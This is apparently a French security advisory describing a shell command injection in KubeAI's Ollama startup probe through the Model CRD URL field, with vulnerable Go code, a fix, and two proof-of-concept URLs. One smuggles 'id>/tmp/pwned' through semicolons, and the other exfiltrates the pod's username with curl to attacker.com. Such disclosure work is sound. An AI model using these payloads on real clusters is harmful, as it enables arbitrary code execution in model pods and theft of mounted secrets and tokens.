
Injection de commandes système dans KubeAI via l'URL du modèle dans la sonde de démarrage Ollama — CVSS 8.7
Gravité : Élevée (CVSS 8.7)
CWE : CWE-78 — Neutralisation incorrecte des éléments spéciaux utilisés dans une commande système
Composant affecté : github.com/kubeai-project/kubeai <= commit ba1824e
Avis de sécurité : GHSA
NVD : https://nvd.nist.gov/vuln/detail/CVE-2026-34940
KubeAI construit un script shell de sonde de démarrage Kubernetes en interpolant les composants de l'URL du CRD Model (ref, modelParam) dans une commande bash -c via fmt.Sprintf en Go. Les métacaractères shell présents dans l'URL ne sont pas assainis, ce qui permet à tout utilisateur disposant des autorisations RBAC de création/mise à jour du CRD Model d'exécuter des commandes arbitraires dans les pods du serveur de modèles — sans privilèges d'administrateur de cluster.
Je cherchais des opérateurs Kubernetes d'inférence IA — des outils qui permettent de déployer des LLM comme charges de travail K8s en créant des CRD. KubeAI prend en charge Ollama, vLLM et d'autres moteurs. Mon hypothèse était : si un utilisateur peut créer des CRD Model, peut-il influencer ce qui s'exécute dans les pods de modèles ?
Le code du moteur vLLM a immédiatement montré le bon modèle : les arguments sont passés sous forme de tableau de chaînes à exec, sans shell impliqué. J'ai donc examiné le moteur Ollama pour comparaison — et j'ai trouvé fmt.Sprintf("%s %s", pullCmd, u.ref) alimentant bash -c. Une configuration classique d'injection shell.
L'expression régulière du parseur d'URL [^?]+ (tout sauf ?) est ce qui scelle le tout : les points-virgules, les backticks, $() sont tous valides dans u.ref. J'ai écrit le YAML du PoC, je l'ai appliqué, et j'ai observé id > /tmp/pwned s'exécuter dans le pod du modèle.
La nuance qui élève ce problème : dans les clusters K8s multi-locataires, le RBAC du CRD Model est souvent accordé à des équipes qui ne sont explicitement pas administrateurs de cluster. Cela donne à un locataire disposant de privilèges restreints un chemin direct vers l'exécution de code arbitraire dans les pods de modèles — y compris l'accès aux secrets montés et aux jetons de compte de service. Cela franchit une frontière de privilèges que le RBAC K8s est censé faire respecter.
Fichier : internal/modelcontroller/engine_ollama.go, lignes 185–196
func ollamaStartupProbeScript(m *kubeaiv1.Model, u modelURL) string {
// u.ref et u.modelParam proviennent du champ URL du CRD Model — contrôlés par l'utilisateur
startupScript = fmt.Sprintf(
"%s %s && /bin/ollama cp %s %s",
pullCmd, u.ref, u.ref, m.Name, // u.ref : aucune assainissement
)
// ...
}
Cette chaîne est ensuite exécutée comme suit :
Command: []string{"bash", "-c", startupProbeScript}
Parseur d'URL (model_source.go) :
var modelURLRegex = regexp.MustCompile(`^([a-z0-9]+):\/\/([^?]+)(\?.*)?$`)
// Le groupe de capture 2 ([^?]+) autorise tout caractère sauf '?'
// Les métacaractères shell ; | $() ` sont tous valides
Contraste avec le moteur vLLM (sûr) :
// engine_vllm.go — arguments passés sous forme de tableau, aucun shell impliqué
args := []string{"--model=" + vllmModelFlag, "--served-model-name=" + m.Name}
Le moteur Ollama prend un raccourci : il construit un pipeline shell en plusieurs étapes sous forme de chaîne et le passe à bash -c. Le moteur vLLM utilise des tableaux d'arguments de style exec. Aucun webhook d'admission ni validation de schéma CRD ne restreint le champ URL à des caractères sûrs.
Voir poc.yaml — appliquer avec kubectl apply -f poc.yaml sur un cluster exécutant KubeAI avec des modèles Ollama.
Vecteur 1 — référence d'URL ollama:// (injection par point-virgule) :
url: "ollama://registry.example.com/model;id>/tmp/pwned;echo"
Sonde de démarrage générée :
/bin/ollama pull registry.example.com/model;id>/tmp/pwned;echo && \
/bin/ollama cp registry.example.com/model;id>/tmp/pwned;echo poc-cmd-inject
La commande id>/tmp/pwned s'exécute et écrit uid=0(root)... dans /tmp/pwned à l'intérieur du pod.
Vecteur 2 — paramètre de requête ?model= (exfiltration hors bande) :
url: "pvc://my-pvc?model=qwen2:0.5b;curl${IFS}http://attacker.com/$(whoami);echo"
Sonde générée :
/bin/ollama cp qwen2:0.5b;curl${IFS}http://attacker.com/$(whoami);echo poc-cmd-inject-pvc
Exfiltre le nom d'utilisateur du pod vers un serveur contrôlé par l'attaquant.
ModelRemplacer bash -c <string> par une sonde de style exec passant les arguments sous forme de tableau (comme le fait déjà le moteur vLLM), ou valider les champs URL par rapport à ^[a-zA-Z0-9._:/-]+$ avant l'interpolation.